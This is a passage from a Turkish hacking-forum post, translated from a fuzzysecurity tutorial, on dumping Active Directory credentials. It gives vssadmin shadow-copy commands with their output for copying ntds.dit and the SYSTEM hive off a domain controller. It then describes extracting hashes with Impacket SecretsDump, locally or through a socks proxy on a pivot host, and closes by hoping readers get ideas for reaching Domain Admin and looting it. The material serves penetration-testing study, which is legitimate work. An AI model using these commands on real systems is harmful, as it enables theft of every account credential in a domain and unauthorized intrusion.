C:\> vssadmin create shadow /for=c:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.

Successfully created shadow copy for 'c:\'
    Shadow Copy ID: {e0fd5b2d-b32d-4bba-89a2-efcf0b7b8fda}
    Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

# Copy out ntds and the system hive.
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\ntds.dit
        1 file(s) copied.
        
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hive
        1 file(s) copied.[/COLOR]


Dosyaları saldırganın makinesine geri getirdikten sonra (bunu yapmanın birçok yolu var, bir tanesini seçin) Impacket's SecretsDump'ı yerel olarak kullanabilir ve içeriği çıkarabiliriz. Aşağıdaki çıktı sadelik olması için kesilmiştir.

Dom-31.png



NTDS'nin tam anlamıyla binlerce kullanıcı hesabı içerebileceğini ve çok büyük olabileceğini unutmayın. Ayrıca, görev alanınızın dışına çıkmayın(!), NTDS'yi boşaltmak, Yöneticilerin kesinlikle balistik hale gelmesine neden olur!


Socks Proxy & Impacket (SecretsDump) (Easy-Mode):

Yine, göründüğü gibi komik, eğer pivotta bir socks proxy'si kurarsak, SecretsDump'ı basitçe proksize edebilir ve düz metin kimlik bilgileri veya bir karma kullanarak DC'ye karşı başlatabiliriz!

Dom-32.png



Son Düşünceler:

Bu makalenin ana amacı, saldırganın kullanabileceği bir dizi farklı tekniği göstermekti. Verilen çeşitli örnekler, duruma göre farklı şekillerde birleştirilebilir. Umarım bu, okuyucuya DA'ya nasıl gidip yağmalayacağına dair bazı fikirler vermiştir!

Dom-33.jpg



SOURCE: https://www.fuzzysecurity.com/tutorials/25.html
TRANSLATOR: DOLYETYUS
 
Moderatör tarafında düzenlendi:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.